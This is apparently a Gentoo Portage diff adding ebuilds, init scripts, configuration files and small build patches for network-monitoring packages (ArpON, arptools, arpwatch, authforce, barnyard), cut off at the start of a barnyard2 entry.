+DIST ArpON-2.7.tar.gz 3009833 SHA256 6ad51204bc33cf004c493f62d7ab24d83213c1621b00efc540e30a0c9fe3db94 SHA512 472261bd23c61cd6a5caabe02c95d8749b488b84177fdcd5d35bb19414a3a547ff9f7b722f8e9fb1cb59a1d6d358de4a560459e9c037aa247e7a97df0d49ecb8 WHIRLPOOL a0259e91c3b91942c6f8e5b497404d7a753e957b79643f9ce7444fe8f3dfb7673827be2986aeb32ed0485b1dad047a864ea3faedc732d85bd0ea7a69326a4a0f
diff --git a/net-analyzer/arpon/arpon-2.7-r1.ebuild b/net-analyzer/arpon/arpon-2.7-r1.ebuild
new file mode 100644
index 000000000000..7b44475b469c
--- /dev/null
+++ b/net-analyzer/arpon/arpon-2.7-r1.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+inherit cmake-utils readme.gentoo
+
+DESCRIPTION="ArpON (Arp handler inspectiON) is a portable Arp handler"
+
+MY_PN="ArpON"
+MY_P="${MY_PN}-${PV}"
+HOMEPAGE="http://arpon.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+DEPEND="dev-libs/libdnet
+ net-libs/libnet:1.1
+ net-libs/libpcap"
+
+RDEPEND=${DEPEND}
+
+S="${WORKDIR}"/${MY_P}
+
+src_prepare() {
+ sed -i -e "/set(CMAKE_C_FLAGS/d" CMakeLists.txt || die
+
+ DOC_CONTENTS="${PN} now installs an init script. Please edit
+ the /etc/conf.d/arpon file to match your needs"
+}
+
+src_install() {
+ cmake-utils_src_install
+ newinitd "${FILESDIR}"/${PN}.initd ${PN}
+ newconfd "${FILESDIR}"/${PN}.confd ${PN}
+ readme.gentoo_create_doc
+}
diff --git a/net-analyzer/arpon/arpon-2.7.2.ebuild b/net-analyzer/arpon/arpon-2.7.2.ebuild
new file mode 100644
index 000000000000..ed65ce249075
--- /dev/null
+++ b/net-analyzer/arpon/arpon-2.7.2.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+inherit cmake-utils readme.gentoo
+
+DESCRIPTION="ArpON (Arp handler inspectiON) is a portable Arp handler"
+
+MY_PN="ArpON"
+MY_P="${MY_PN}-${PV}"
+HOMEPAGE="http://arpon.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.gz"
+
+LICENSE="BSD"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+
+DEPEND="dev-libs/libdnet
+ net-libs/libnet:1.1
+ net-libs/libpcap"
+
+RDEPEND=${DEPEND}
+
+S="${WORKDIR}"/${MY_P}
+
+src_prepare() {
+ sed -i -e "/set(CMAKE_C_FLAGS/d" CMakeLists.txt || die
+
+ DOC_CONTENTS="${PN} now installs an init script. Please edit
+ the /etc/conf.d/arpon file to match your needs"
+}
+
+src_install() {
+ cmake-utils_src_install
+ newinitd "${FILESDIR}"/${PN}.initd ${PN}
+ newconfd "${FILESDIR}"/${PN}.confd ${PN}
+ readme.gentoo_create_doc
+}
diff --git a/net-analyzer/arpon/files/arpon.confd b/net-analyzer/arpon/files/arpon.confd
new file mode 100644
index 000000000000..d1ce050fa4cb
--- /dev/null
+++ b/net-analyzer/arpon/files/arpon.confd
@@ -0,0 +1,5 @@
+METHOD="--darpi"
+IFACE="eth0"
+LOGFILE="/var/log/arpon.log"
+
+ARPON_OPTS="${METHOD} --iface ${IFACE} --log-file ${LOGFILE} --log"
diff --git a/net-analyzer/arpon/files/arpon.initd b/net-analyzer/arpon/files/arpon.initd
new file mode 100644
index 000000000000..5f6a1bd8c6e2
--- /dev/null
+++ b/net-analyzer/arpon/files/arpon.initd
@@ -0,0 +1,19 @@
+#!/sbin/runscript
+# Distributed under the terms of the GNU General Public License v2
+
+depend() {
+ need net
+}
+
+start() {
+ ebegin "Starting arpon"
+ start-stop-daemon --start --background --make-pidfile --pidfile "/var/run/arpon.pid" \
+ --exec /usr/sbin/arpon -- ${ARPON_OPTS} >/dev/null 2>&1
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping arpon"
+ start-stop-daemon --stop --pidfile "/var/run/arpon.pid"
+ eend $?
+}
diff --git a/net-analyzer/arpon/metadata.xml b/net-analyzer/arpon/metadata.xml
new file mode 100644
index 000000000000..ea4208c346e9
--- /dev/null
+++ b/net-analyzer/arpon/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>hwoarang@gentoo.org</email>
+ <name>Markos Chandras</name>
+ </maintainer>
+ <longdescription lang="en">
+</longdescription>
+ <upstream>
+ <remote-id type="sourceforge">arpon</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/arptools/Manifest b/net-analyzer/arptools/Manifest
new file mode 100644
index 000000000000..3f435dc55e39
--- /dev/null
+++ b/net-analyzer/arptools/Manifest
@@ -0,0 +1 @@
+DIST arptools-1.0.2.tar.gz 87475 SHA256 7d53ee3fc70c2ad13338d721b84507f407a41ac1d4602ef6b5532651f928e9b6 SHA512 c976a5a7778a9330ebda6ed69ef045ede3747b98d27a7e575f985646a52bf57e4a6584da280a0a13520a43b5d765b2ddbec2239d7c3ac865ffdf1ae23f5ff347 WHIRLPOOL c88b2b20bf42eac35be972c64b54df3bac71ebba03d0a2ea282ada9203a5d0681a46d3080eac3c28b7e99aaa6080257d421e7d4d2cc14f9620243a1b0f96c132
diff --git a/net-analyzer/arptools/arptools-1.0.2.ebuild b/net-analyzer/arptools/arptools-1.0.2.ebuild
new file mode 100644
index 000000000000..f7f59fa48b01
--- /dev/null
+++ b/net-analyzer/arptools/arptools-1.0.2.ebuild
@@ -0,0 +1,21 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+DESCRIPTION="a collection of libnet and libpcap based ARP utilities"
+HOMEPAGE="http://www.burghardt.pl/wiki/software/arptools"
+SRC_URI="http://www.burghardt.pl/files/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+
+DEPEND="
+ net-libs/libnet:1.1
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+DOCS=( AUTHORS ChangeLog NEWS README TODO )
diff --git a/net-analyzer/arptools/metadata.xml b/net-analyzer/arptools/metadata.xml
new file mode 100644
index 000000000000..02380372391a
--- /dev/null
+++ b/net-analyzer/arptools/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<maintainer>
+ <email>robbat2@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/arpwatch/Manifest b/net-analyzer/arpwatch/Manifest
new file mode 100644
index 000000000000..a71337996cf8
--- /dev/null
+++ b/net-analyzer/arpwatch/Manifest
@@ -0,0 +1,3 @@
+DIST arpwatch-2.1a15.tar.gz 202729 SHA256 c1df9737e208a96a61fa92ddad83f4b4d9be66f8992f3c917e9edf4b05ff5898 SHA512 f770b5b7954afe910dafb016e6e886a4e785564bcdc0ea0de9d7b1ca6a9a0b219a9d1b50b6f42a67afc2f836e782e8ff85ba5780583015d62c9694ac53f0bf90 WHIRLPOOL e653eb83d8dbc8777c3aaa5920bc1e5b46c64aa740c64a79b24a42abdee4625baa72a51f9f0441549b7325fcb07b94f1964887df1b6d707eddde162e1073691f
+DIST arpwatch-patchset-0.5.tbz2 127740 SHA256 aa69513ba36cdb9f41862f5f9c47e47d60786d01d302a1e8177f9e1f8aae71d3 SHA512 cd1a71fc39489f3498b7614fa793226cb3dd23dbac88082baab5598d441cd585da2d2f2ee8d40183b810893f4cddd0282f5cc8aa8b6009c40bfbf2c295365dc3 WHIRLPOOL 736be0f0ea18ebd96136c5b629134b0920c3c1a648974eac7f86f57c5d5ee58c1cd284371685562a73468a79b29fc130a668bc9487e85175f61d7a3642f58db9
+DIST arpwatch-patchset-0.6.tbz2 128973 SHA256 2bfc7078fc4d5bad6bf7bd5d512df669799d09939ca249c2fe3f9fa3b8969ad8 SHA512 01c8b85e859765783a783c09ed9470b7f109b20f6713bb40ebcdc8e838ea00290df7609aa96ed1a6a2e39250e9735d6cfbd19e444961b79fdd1b04819c729253 WHIRLPOOL 96ae54f3cffe3f5eba8153ff79a6c66956ac95424dfae87e438372a4a27bf9d00136271f1e3c0e56850011cae873b2de57c6af7589fdd5a0253ef482328a602f
diff --git a/net-analyzer/arpwatch/arpwatch-2.1.15-r6.ebuild b/net-analyzer/arpwatch/arpwatch-2.1.15-r6.ebuild
new file mode 100644
index 000000000000..0c7cdcbefd8c
--- /dev/null
+++ b/net-analyzer/arpwatch/arpwatch-2.1.15-r6.ebuild
@@ -0,0 +1,57 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user versionator
+
+PATCH_VER="0.5"
+
+MY_P="${PN}-$(replace_version_separator 2 'a')"
+DESCRIPTION="An ethernet monitor program that keeps track of ethernet/ip address pairings"
+HOMEPAGE="http://ee.lbl.gov/"
+SRC_URI="ftp://ftp.ee.lbl.gov/${MY_P}.tar.gz
+ mirror://gentoo/arpwatch-patchset-${PATCH_VER}.tbz2"
+
+LICENSE="BSD GPL-2"
+SLOT="0"
+KEYWORDS="amd64 hppa ppc sparc x86 ~x86-fbsd"
+IUSE="selinux"
+
+DEPEND="net-libs/libpcap
+ sys-libs/ncurses"
+
+RDEPEND="${DEPEND}
+ selinux? ( sec-policy/selinux-arpwatch )"
+
+S=${WORKDIR}/${MY_P}
+
+pkg_preinst() {
+ enewuser arpwatch
+}
+
+src_prepare() {
+ EPATCH_SOURCE="${WORKDIR}"/arpwatch-patchset/ EPATCH_SUFFIX="patch" epatch
+ cp "${WORKDIR}"/arpwatch-patchset/*.8 . || die
+}
+
+src_install () {
+ dosbin arpwatch arpsnmp arp2ethers massagevendor arpfetch bihourly.sh
+ doman arpwatch.8 arpsnmp.8 arp2ethers.8 massagevendor.8 arpfetch.8 bihourly.8
+
+ insinto /usr/share/arpwatch
+ doins ethercodes.dat
+
+ insinto /usr/share/arpwatch/awk
+ doins duplicates.awk euppertolower.awk p.awk e.awk d.awk
+
+ keepdir /var/lib/arpwatch
+ dodoc README CHANGES
+
+ newinitd "${FILESDIR}"/arpwatch.initd arpwatch
+ newconfd "${FILESDIR}"/arpwatch.confd arpwatch
+}
+
+pkg_postinst() {
+ fowners arpwatch:0 "${ROOT}"/var/lib/arpwatch
+}
diff --git a/net-analyzer/arpwatch/arpwatch-2.1.15-r7.ebuild b/net-analyzer/arpwatch/arpwatch-2.1.15-r7.ebuild
new file mode 100644
index 000000000000..78774b9d6270
--- /dev/null
+++ b/net-analyzer/arpwatch/arpwatch-2.1.15-r7.ebuild
@@ -0,0 +1,63 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user versionator
+
+PATCH_VER="0.6"
+
+MY_P="${PN}-$(replace_version_separator 2 'a')"
+DESCRIPTION="An ethernet monitor program that keeps track of ethernet/ip address pairings"
+HOMEPAGE="http://ee.lbl.gov/"
+SRC_URI="
+ ftp://ftp.ee.lbl.gov/${MY_P}.tar.gz
+ https://dev.gentoo.org/~jer/arpwatch-patchset-${PATCH_VER}.tbz2
+"
+
+LICENSE="BSD GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~ppc ~sparc ~x86 ~x86-fbsd"
+IUSE="selinux"
+
+DEPEND="
+ net-libs/libpcap
+ sys-libs/ncurses
+"
+
+RDEPEND="
+ ${DEPEND}
+ selinux? ( sec-policy/selinux-arpwatch )
+"
+
+S=${WORKDIR}/${MY_P}
+
+pkg_preinst() {
+ enewuser arpwatch
+}
+
+src_prepare() {
+ EPATCH_SOURCE="${WORKDIR}"/arpwatch-patchset/ EPATCH_SUFFIX="patch" epatch
+ cp "${WORKDIR}"/arpwatch-patchset/*.8 . || die
+}
+
+src_install () {
+ dosbin arpwatch arpsnmp arp2ethers massagevendor arpfetch bihourly.sh
+ doman arpwatch.8 arpsnmp.8 arp2ethers.8 massagevendor.8 arpfetch.8 bihourly.8
+
+ insinto /usr/share/arpwatch
+ doins ethercodes.dat
+
+ insinto /usr/share/arpwatch/awk
+ doins duplicates.awk euppertolower.awk p.awk e.awk d.awk
+
+ keepdir /var/lib/arpwatch
+ dodoc README CHANGES
+
+ newinitd "${FILESDIR}"/arpwatch.initd arpwatch
+ newconfd "${FILESDIR}"/arpwatch.confd arpwatch
+}
+
+pkg_postinst() {
+ fowners arpwatch:0 "${ROOT}"/var/lib/arpwatch
+}
diff --git a/net-analyzer/arpwatch/files/arpwatch.confd b/net-analyzer/arpwatch/files/arpwatch.confd
new file mode 100644
index 000000000000..98abe0417740
--- /dev/null
+++ b/net-analyzer/arpwatch/files/arpwatch.confd
@@ -0,0 +1,11 @@
+# Config file for /etc/init.d/arpwatch
+# see arpwatch.8 for more information
+
+#IFACES="eth0 eth1"
+IFACES="eth0"
+
+# Additional options to pass to arpwatch.
+OPTIONS="-N -p"
+
+# Comment this line if you wish arpwatch to run as root user (not recommended)
+ARPUSER="arpwatch"
diff --git a/net-analyzer/arpwatch/files/arpwatch.initd b/net-analyzer/arpwatch/files/arpwatch.initd
new file mode 100644
index 000000000000..0a517e00c665
--- /dev/null
+++ b/net-analyzer/arpwatch/files/arpwatch.initd
@@ -0,0 +1,37 @@
+#!/sbin/runscript
+# Copyright 1999-2006 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+start() {
+ for IFACE in ${IFACES}
+ do
+ ebegin "Starting arpwatch on ${IFACE}"
+ DATAFILE=/var/lib/arpwatch/${IFACE}.dat
+ [ ! -f ${DATAFILE} ] && touch ${DATAFILE}
+
+ if [ -z ${ARPUSER} ]; then
+ start-stop-daemon --start --quiet --pidfile=/var/run/arpwatch.${IFACE}.pid --exec \
+ /usr/sbin/arpwatch -- -i ${IFACE} -f ${DATAFILE} -P /var/run/arpwatch.${IFACE}.pid ${OPTIONS}
+ else
+ chown ${ARPUSER} ${DATAFILE}
+ start-stop-daemon --start --quiet --pidfile=/var/run/arpwatch.${IFACE}.pid --exec \
+ /usr/sbin/arpwatch -- -i $IFACE -u ${ARPUSER} -f ${DATAFILE} -P /var/run/arpwatch.${IFACE}.pid ${OPTIONS}
+ fi
+ eend $?
+ done
+}
+
+stop() {
+ for IFACE in ${IFACES}
+ do
+ ebegin "Stopping arpwatch on ${IFACE}"
+ start-stop-daemon --stop --quiet --pidfile=/var/run/arpwatch.${IFACE}.pid --exec \
+ /usr/sbin/arpwatch
+ eend $?
+ done
+}
diff --git a/net-analyzer/arpwatch/metadata.xml b/net-analyzer/arpwatch/metadata.xml
new file mode 100644
index 000000000000..4fc697499bf6
--- /dev/null
+++ b/net-analyzer/arpwatch/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+ <longdescription lang="en">
+ The arpwatch package contains arpwatch and arpsnmp. Arpwatch and arpsnmp
+ are both network monitoring tools. Both utilities monitor Ethernet or
+ FDDI network traffic and build databases of Ethernet/IP address pairs,
+ and can report certain changes via email. Install the arpwatch package
+ if you need networking monitoring devices which will automatically keep
+ track of the IP addresses on your network.
+ </longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/authforce/Manifest b/net-analyzer/authforce/Manifest
new file mode 100644
index 000000000000..1cef6ec923a1
--- /dev/null
+++ b/net-analyzer/authforce/Manifest
@@ -0,0 +1 @@
+DIST authforce-0.9.9.tar.gz 424557 SHA256 366adfda9dbdb2c6dfefa9c50f143fa535a77db17cbe0b7ef338f835e211f7db
diff --git a/net-analyzer/authforce/authforce-0.9.9-r1.ebuild b/net-analyzer/authforce/authforce-0.9.9-r1.ebuild
new file mode 100644
index 000000000000..d844bf67f763
--- /dev/null
+++ b/net-analyzer/authforce/authforce-0.9.9-r1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=4
+
+inherit base
+
+DESCRIPTION="An HTTP authentication brute forcer"
+HOMEPAGE="http://www.divineinvasion.net/authforce/"
+SRC_URI="http://www.divineinvasion.net/${PN}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc x86"
+IUSE="curl nls"
+
+DEPEND="
+ sys-libs/readline
+ curl? ( net-misc/curl )
+ nls? ( sys-devel/gettext )"
+
+DOCS=( AUTHORS BUGS NEWS README THANKS TODO )
+PATCHES=(
+ "${FILESDIR}"/${P}-curl.patch
+ "${FILESDIR}"/${P}-locale.patch
+ )
+
+src_configure() {
+ econf \
+ $(use_with curl) \
+ $(use_enable nls) \
+ --with-path=/usr/share/${PN}/data:.
+}
diff --git a/net-analyzer/authforce/files/authforce-0.9.9-curl.patch b/net-analyzer/authforce/files/authforce-0.9.9-curl.patch
new file mode 100644
index 000000000000..22552f8aafd4
--- /dev/null
+++ b/net-analyzer/authforce/files/authforce-0.9.9-curl.patch
@@ -0,0 +1,10 @@
+--- authforce-0.9.9/src/http.c
++++ authforce-0.9.9/src/http.c
+@@ -7,7 +7,6 @@
+ #include <time.h>
+ #ifdef USE_CURL
+ #include <curl/curl.h>
+-#include <curl/types.h>
+ #include <curl/easy.h>
+ #endif /* USE_CURL */
+ #ifdef MEMWATCH
diff --git a/net-analyzer/authforce/files/authforce-0.9.9-locale.patch b/net-analyzer/authforce/files/authforce-0.9.9-locale.patch
new file mode 100644
index 000000000000..89792db3ea12
--- /dev/null
+++ b/net-analyzer/authforce/files/authforce-0.9.9-locale.patch
@@ -0,0 +1,15 @@
+ src/main.c | 1 +
+ 1 files changed, 1 insertions(+), 0 deletions(-)
+
+diff --git a/src/main.c b/src/main.c
+index 0fd275a..296e181 100644
+--- a/src/main.c
++++ b/src/main.c
+@@ -14,6 +14,7 @@
+ #include "extern.h"
+ #ifdef ENABLE_NLS
+ #define _(x) dgettext(PACKAGE_NAME, x)
++#include <locale.h>
+ #else
+ #define _(x) (x)
+ #endif
diff --git a/net-analyzer/authforce/metadata.xml b/net-analyzer/authforce/metadata.xml
new file mode 100644
index 000000000000..91f4e72fb544
--- /dev/null
+++ b/net-analyzer/authforce/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/barnyard/Manifest b/net-analyzer/barnyard/Manifest
new file mode 100644
index 000000000000..aadd121b29c7
--- /dev/null
+++ b/net-analyzer/barnyard/Manifest
@@ -0,0 +1,2 @@
+DIST barnyard-0.2.0-patches.tar.bz2 12911 SHA256 cecc0c983899d12ae217232e2cd34d86e780b4be34ac36ccb3f73a1b954ea6f0
+DIST barnyard-0.2.0.tar.gz 161543 SHA256 09e0f8e095e79cfe70ea069d13e7d02521a504a1f400a45556a634dccfd31a3a
diff --git a/net-analyzer/barnyard/barnyard-0.2.0-r3.ebuild b/net-analyzer/barnyard/barnyard-0.2.0-r3.ebuild
new file mode 100644
index 000000000000..922d8fe65e74
--- /dev/null
+++ b/net-analyzer/barnyard/barnyard-0.2.0-r3.ebuild
@@ -0,0 +1,100 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=2
+
+inherit eutils autotools
+
+DESCRIPTION="Fast output system for Snort"
+HOMEPAGE="http://sourceforge.net/projects/barnyard"
+SRC_URI="
+ mirror://sourceforge/barnyard/barnyard-${PV/_/-}.tar.gz
+ mirror://gentoo/${P}-patches.tar.bz2"
+
+SLOT="0"
+LICENSE="QPL GPL-2"
+KEYWORDS="~amd64 -sparc ~x86"
+IUSE="mysql postgres sguil"
+
+DEPEND="
+ net-libs/libpcap
+ postgres? ( dev-db/postgresql[server] )
+ mysql? ( virtual/mysql )
+ sguil? ( dev-lang/tcl:0 )"
+RDEPEND="${DEPEND}
+ net-analyzer/snort"
+
+S="${WORKDIR}/${P/_/-}"
+
+src_prepare() {
+ epatch "${FILESDIR}/barnyard.64bit.diff"
+ if use sguil ; then
+ epatch "${WORKDIR}/${PV}-sguil_files.patch"
+ epatch "${WORKDIR}/${PV}-configure-in.patch"
+ cd "${S}/src/output-plugins"
+ epatch "${WORKDIR}/${PV}-op_plugbase.c.patch"
+ cd "${S}"
+ fi
+ eautoreconf
+}
+
+src_configure() {
+ local myconf
+ if use sguil ; then
+ myconf="--enable-tcl"
+ fi
+
+ econf \
+ ${myconf} \
+ --sysconfdir=/etc/snort \
+ $(use_enable postgres) \
+ $(use_enable mysql)
+}
+src_compile() {
+ emake || die "compile problem"
+}
+
+src_install () {
+
+ make DESTDIR="${D}" install || die
+
+ dodoc docs/*
+ dodoc AUTHORS README
+
+ keepdir /var/log/snort
+ keepdir /var/log/snort/archive
+
+ insinto /etc/snort
+ newins etc/barnyard.conf barnyard.conf
+ if use sguil ; then
+ sed -i -e "/config hostname:/s%snorthost%$(hostname)%" \
+ -e "/config interface/s:fxp0:eth0:" \
+ -e "s:output alert_fast:#output alert_fast:" \
+ -e "s:output log_dump:#output log_dump:" \
+ "${D}/etc/snort/barnyard.conf" || die "sed failed"
+ fi
+
+ newconfd "${FILESDIR}"/barnyard.confd barnyard
+ if use sguil ; then
+ sed -i -e s:/var/log/snort:/var/lib/sguil/$(hostname): \
+ -e s:/var/run/barnyard.pid:/var/run/sguil/barnyard.pid: \
+ "${D}/etc/conf.d/barnyard" || die "sed failed"
+ fi
+
+ newinitd "${FILESDIR}"/barnyard.rc6 barnyard
+ if use sguil ; then
+ sed -i -e "/start-stop-daemon --start/s:--exec:-c sguil --exec:" \
+ "${D}/etc/init.d/barnyard" || die "sed failed"
+ fi
+}
+
+pkg_postinst() {
+ if use sguil ; then
+ elog
+ elog "Make sure to edit /etc/snort/barnyard.conf and uncomment the"
+ elog "sguil section along with supplying the appropriate database"
+ elog "information."
+ elog
+ fi
+}
diff --git a/net-analyzer/barnyard/files/barnyard.64bit.diff b/net-analyzer/barnyard/files/barnyard.64bit.diff
new file mode 100644
index 000000000000..f338d291ff1c
--- /dev/null
+++ b/net-analyzer/barnyard/files/barnyard.64bit.diff
@@ -0,0 +1,81 @@
+diff -ur barnyard-0.2.0/src/barnyard.h barnyard-0.2.0.64bit/src/barnyard.h
+--- barnyard-0.2.0/src/barnyard.h 2004-05-01 12:43:29.000000000 -0400
++++ barnyard-0.2.0.64bit/src/barnyard.h 2007-08-11 23:22:53.000000000 -0400
+@@ -34,7 +34,8 @@
+
+ typedef struct _SnortPktHeader
+ {
+- struct timeval ts; /* packet timestamp */
++ // struct timeval ts; /* packet timestamp */
++ struct pcap_timeval ts; /* packet timestamp */
+ u_int32_t caplen; /* packet capture length */
+ u_int32_t pktlen; /* packet "real" length */
+ } SnortPktHeader;
+Only in barnyard-0.2.0.64bit/src: barnyard.h~
+diff -ur barnyard-0.2.0/src/event.h barnyard-0.2.0.64bit/src/event.h
+--- barnyard-0.2.0/src/event.h 2003-05-02 22:44:12.000000000 -0400
++++ barnyard-0.2.0.64bit/src/event.h 2007-08-12 00:13:44.000000000 -0400
+@@ -19,6 +19,11 @@
+ #include <sys/types.h>
+ #include <sys/time.h>
+
++struct pcap_timeval {
++ u_int32_t tv_sec; /* seconds */
++ u_int32_t tv_usec; /* microseconds */
++};
++
+ typedef struct _Event
+ {
+ u_int32_t sig_generator; /* which part of snort generated the alert? */
+@@ -30,6 +35,7 @@
+ u_int32_t event_reference; /* reference to other events that have gone off,
+ * such as in the case of tagged packets...
+ */
+- struct timeval ref_time; /* reference time for the event reference */
++ // struct timeval ref_time; /* reference time for the event reference */
++ struct pcap_timeval ref_time; /* reference time for the event reference */
+ } Event;
+ #endif /* __EVENT_H__ */
+Only in barnyard-0.2.0.64bit/src: event.h~
+diff -ur barnyard-0.2.0/src/input-plugins/dp_alert.h barnyard-0.2.0.64bit/src/input-plugins/dp_alert.h
+--- barnyard-0.2.0/src/input-plugins/dp_alert.h 2004-02-19 20:59:48.000000000 -0500
++++ barnyard-0.2.0.64bit/src/input-plugins/dp_alert.h 2007-08-11 23:24:25.000000000 -0400
+@@ -34,7 +34,8 @@
+ typedef struct _UnifiedAlertRecord
+ {
+ Event event;
+- struct timeval ts; /* event timestamp */
++ // struct timeval ts; /* event timestamp */
++ struct pcap_timeval ts; /* event timestamp */
+ u_int32_t sip; /* src ip */
+ u_int32_t dip; /* dest ip */
+ u_int16_t sp; /* src port */
+Only in barnyard-0.2.0.64bit/src/input-plugins: dp_alert.h~
+diff -ur barnyard-0.2.0/src/util.c barnyard-0.2.0.64bit/src/util.c
+--- barnyard-0.2.0/src/util.c 2004-03-06 17:30:15.000000000 -0500
++++ barnyard-0.2.0.64bit/src/util.c 2007-08-12 00:14:52.000000000 -0400
+@@ -514,7 +514,8 @@
+
+ static char tmpbuf[256];
+
+-int RenderTimeval(struct timeval *tv, char *timebuf, size_t len)
++// int RenderTimeval(struct timeval *tv, char *timebuf, size_t len)
++int RenderTimeval(struct pcap_timeval *tv, char *timebuf, size_t len)
+ {
+ struct tm *lt;
+ time_t timet;
+Only in barnyard-0.2.0.64bit/src: util.c~
+diff -ur barnyard-0.2.0/src/util.h barnyard-0.2.0.64bit/src/util.h
+--- barnyard-0.2.0/src/util.h 2004-03-06 19:23:50.000000000 -0500
++++ barnyard-0.2.0.64bit/src/util.h 2007-08-11 23:23:46.000000000 -0400
+@@ -39,7 +39,8 @@
+ void ClearDumpBuf();
+ void GoDaemon();
+ size_t RenderTimestamp(time_t timet, char *timebuf, size_t len);
+-int RenderTimeval(struct timeval *tv, char *timebuf, size_t len);
++// int RenderTimeval(struct timeval *tv, char *timebuf, size_t len);
++int RenderTimeval(struct pcap_timeval *tv, char *timebuf, size_t len);
+ int CreatePidFile(char *filename);
+ int String2Long(char *string, long *result);
+ int String2ULong(char *string, unsigned long *result);
+Only in barnyard-0.2.0.64bit/src: util.h~
diff --git a/net-analyzer/barnyard/files/barnyard.confd b/net-analyzer/barnyard/files/barnyard.confd
new file mode 100644
index 000000000000..be0013cb1fe9
--- /dev/null
+++ b/net-analyzer/barnyard/files/barnyard.confd
@@ -0,0 +1,19 @@
+# Config file for /etc/init.d/barnyard
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+PIDFILE="/var/run/barnyard.pid"
+LOG_FILE="snort_unified.log"
+
+# You probably don't want to change this, but in case you do
+LOGDIR="/var/log/snort"
+ARCHIVEDIR="$LOGDIR/archive"
+GENMSG_FILE="/etc/snort/gen-msg.map"
+SIDMSG_FILE="/etc/snort/sid-msg.map"
+WALDO_FILE="$LOGDIR/barnyard.waldo"
+
+# Probably not this either
+CONF=/etc/snort/barnyard.conf
+
+# This pulls in the options above
+BARNYARD_OPTS="-D -c $CONF -d $LOGDIR -g $GENMSG_FILE -s $SIDMSG_FILE -w $WALDO_FILE -L $LOGDIR -a $ARCHIVEDIR -f $LOG_FILE -X $PIDFILE"
diff --git a/net-analyzer/barnyard/files/barnyard.rc6 b/net-analyzer/barnyard/files/barnyard.rc6
new file mode 100644
index 000000000000..15471aa62021
--- /dev/null
+++ b/net-analyzer/barnyard/files/barnyard.rc6
@@ -0,0 +1,30 @@
+#!/sbin/runscript
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+checkconfig() {
+ if [ ! -e $CONF ] ; then
+ eerror "You need a configuration file to run barnyard"
+ eerror "There is an example config in /etc/snort/barnyard.conf.distrib"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+ ebegin "Starting barnyard"
+ start-stop-daemon --start --quiet --exec /usr/bin/barnyard \
+ -- ${BARNYARD_OPTS} >/dev/null 2>&1
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping barnyard"
+ start-stop-daemon --stop --quiet --pidfile ${PIDFILE}
+ eend $?
+}
diff --git a/net-analyzer/barnyard/metadata.xml b/net-analyzer/barnyard/metadata.xml
new file mode 100644
index 000000000000..c2407e4f2026
--- /dev/null
+++ b/net-analyzer/barnyard/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription>Fast output system for Snort</longdescription>
+ <use>
+ <flag name="sguil">Enable sguil (The Analyst Console for Network Security
+Monitoring) support</flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">barnyard</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/barnyard2/Manifest b/net-analyzer/barnyard2/Manifest
new file mode 100644
index 000000000000..e79979972151
--- /dev/null
